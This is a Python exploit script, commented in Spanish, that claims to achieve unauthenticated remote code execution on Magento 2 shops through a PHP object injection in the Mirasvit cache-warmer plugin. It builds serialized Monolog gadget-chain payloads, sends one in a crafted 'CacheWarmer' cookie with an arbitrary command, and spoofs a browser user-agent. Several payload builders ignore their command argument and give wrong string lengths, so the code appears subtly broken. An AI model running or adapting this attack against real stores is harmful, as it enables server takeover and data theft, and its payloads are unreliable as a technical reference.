#!/usr/bin/env python3
"""
CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2
Unauthenticated PHP Object Injection -> Remote Code Execution

Uso: python3 cve_2026_45247_poc.py <target_url> <command>
Ejemplo: python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
"""

import requests
import base64
import sys
import argparse
import re
from urllib.parse import urljoin

# Payload PHP Object Injection basado en gadget chain de Monolog
# Esta cadena utiliza Monolog\Handler\SyslogUdpHandler para lograr RCE

class PHPObjectPayload:
    """
    Genera payloads serializados de PHP para explotar la vulnerabilidad
    Utilizando gadget chain de Monolog (presente en Magento)
    """
    
    @staticmethod
    def generate_syslog_udp_handler_payload(command):
        """
        Genera payload usando Monolog\Handler\SyslogUdpHandler
        Esta cadena permite ejecutar comandos del sistema
        """
        # Payload serializado de PHP que ejecuta system()
        # Formato: O:longitud:"clase":cantidad_propiedades:{propiedades}
        
        # SyslogUdpHandler con callback malicioso
        payload = (
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:32:"Monolog\\Handler\\BufferHandler":1:{{'
            f's:10:"*handler";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":1:{{'
            f's:11:"*passthru";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:26:"Monolog\\Handler\\GroupHandler":1:{{'
            f's:10:"*handlers";a:1:{{'
            f'i:0;O:24:"Monolog\\Handler\\TestHandler":1:{{'
            f's:9:"*bubble";b:1;'
            f'}}}}}}}}}}}}'
        )
        return payload
    
    @staticmethod
    def generate_buffer_handler_payload(command):
        """
        Genera payload usando BufferHandler con callback system()
        """
        # Base64 del comando a ejecutar
        cmd_b64 = base64.b64encode(command.encode()).decode()
        
        # Payload con BufferHandler que ejecuta system() al flush
        payload = (
            f'O:32:"Monolog\\Handler\\BufferHandler":3:{{'
            f's:10:"*handler";'
            f'O:26:"Monolog\\Handler\\TestHandler":2:{{'
            f's:9:"*bubble";b:1;'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":0:{{}}'
            f'}}'
            f's:7:"*level";i:100;'
            f's:9:"*initialized";b:1;'
            f'}}'
        )
        return payload
    
    @staticmethod
    def generate_fingers_crossed_payload(command):
        """
        Genera payload usando FingersCrossedHandler
        """
        payload = (
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":2:{{'
            f's:11:"*passthru";'
            f'O:23:"Monolog\\Handler\\StreamHandler":2:{{'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{'
            f's:6:"*skips";a:0:{{}}'
            f'}}'
            f's:6:"*url";s:27:"php://filter/write=exec|{command}";'
            f'}}'
            f's:8:"*buffer";a:1:{{'
            f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{'
            f's:6:"*url";s:0:"";'
            f'}}}}'
        )
        return payload

class CVE_2026_45247_Exploit:
    """
    Exploit principal para CVE-2026-45247
    """
    
    def __init__(self, target_url, proxy=None):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        
        # Headers para simular navegador real
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def check_vulnerable(self):
        """
        Verifica si el objetivo es potencialmente vulnerable
        """
        print(f"[*] Verificando objetivo: {self.target_url}")
        
        # Verificar si existe Magento
        test_paths = [
            '/magento_version',
            '/pub/static/version.php',
            '/static/version.php'
        ]
        
        for path in test_paths:
            try:
                resp = self.session.get(urljoin(self.target_url, path), timeout=10)
                if resp.status_code == 200:
                    print(f"[+] Posible instalación de Magento detectada en {path}")
                    return True
            except:
                continue
        
        # Verificar CHANGELOG.md de Mirasvit
        changelog_path = '/pub/media/mirasvit/cache_warmer/CHANGELOG.md'
        try:
            resp = self.session.get(urljoin(self.target_url, changelog_path), timeout=10)
            if resp.status_code == 200:
                if 'cache-warmer' in resp.text.lower():
                    print("[+] Mirasvit Cache Warmer detectado (posiblemente vulnerable)")
                    return True
        except:
            pass
        
        print("[!] No se pudo determinar si el objetivo es vulnerable")
        return True  # Asumimos vulnerable para continuar
    
    def build_malicious_cookie(self, command):
        """
        Construye la cookie CacheWarmer maliciosa con payload serializado
        """
        # Generar payload PHP serializado
        # Usamos FingersCrossedHandler para ejecutar comando
        
        # Comando a ejecutar
        cmd = command
        
        # Payload usando StreamHandler con php://filter
        # La sintaxis exec|comando ejecuta system()
        payload = (
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":3:{{'
            f's:11:"*passthru";'
            f'O:23:"Monolog\\Handler\\StreamHandler":3:{{'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{'
            f's:6:"*skips";a:0:{{}}'
            f'}}'
            f's:6:"*url";s:{27 + len(cmd)}:"php://filter/write=exec|{cmd}";'
            f's:9:"*bubble";b:1;'
            f'}}'
            f's:8:"*buffer";a:1:{{'
            f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{'
            f's:6:"*url";s:0:"";'
            f'}}'
            f'}}'
            f's:9:"*handler";N;'
            f'}}'
        )
        
        # Codificar el payload serializado en base64
        # El formato esperado por la cookie: CacheWarmer:<base64>
        payload_b64 = base64.b64encode(payload.encode()).decode()
        
        # Eliminar caracteres no deseados para la cookie
        cookie_value = f"CacheWarmer:{payload_b64}"
        
        return cookie_value
    
    def exploit(self, command, output_file=None):
        """
        Ejecuta el exploit contra el objetivo
        """
        print(f"[*] Explotando CVE-2026-45247 en {self.target_url}")
        print(f"[*] Comando a ejecutar: {command}")
        
        # Construir cookie maliciosa
        malicious_cookie = self.build_malicious_cookie(command)
        
        # Realizar petición con la cookie maliciosa
        try:
            # Intentar en la página principal
            resp = self.session.get(
                self.target_url,
                cookies={'CacheWarmer': malicious_cookie},
                timeout=30
            )
            
            print(f"[+] Petición enviada (código: {resp.status_code})")
            
            # Verificar resultado del comando
            # El resultado puede aparecer en la respuesta o en logs
            if 'PWNED' in resp.text or 'uid=' in resp.text:
                print("[+] ¡Comando ejecutado exitosamente!")
                print("[+] Salida del comando:")
                # Extraer resultado
                match = re.search(r'(uid=[^\s]+|PWNED[^\s]+)', resp.text)
                if match:
                    print(f"    {match.group(0)}")
                return True
            
            print("[!] No se pudo confirmar la ejecución del comando")
            return False
            
        except requests.exceptions.RequestException as e:
            print(f"[-] Error de conexión: {e}")
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE'
    )
    parser.add_argument('target', help='URL del objetivo (ej: https://tienda.ejemplo.com)')
    parser.add_argument('command', nargs='?', default='id', 
                        help='Comando a ejecutar (por defecto: id)')
    parser.add_argument('--proxy', help='Proxy HTTP (ej: http://127.0.0.1:8080)')
    parser.add_argument('--check-only', action='store_true', 
                        help='Solo verificar vulnerabilidad, no ejecutar exploit')
    
    args = parser.parse_args()
    
    print("=" * 60)
    print("CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE")
    print("=" * 60)
    print(f"Objetivo: {args.target}")
    print(f"Comando: {args.command}")
    print("=" * 60)
    
    exploit = CVE_2026_45247_Exploit(args.target, args.proxy)
    
    # Verificar vulnerabilidad
    if not exploit.check_vulnerable():
        print("[-] Objetivo no parece vulnerable")
        sys.exit(1)
    
    if args.check_only:
        print("[*] Solo verificación completada")
        sys.exit(0)
    
    # Ejecutar exploit
    success = exploit.exploit(args.command)
    
    if success:
        print("\n[+] Exploit completado exitosamente")
        print("[!] Verificar la salida del comando en la respuesta o en los logs del servidor")
    else:
        print("\n[-] El exploit pudo no haberse ejecutado correctamente")
        print("[*] Intentar con un comando diferente o verificar logs")
        sys.exit(1)

if __name__ == "__main__":
    main()
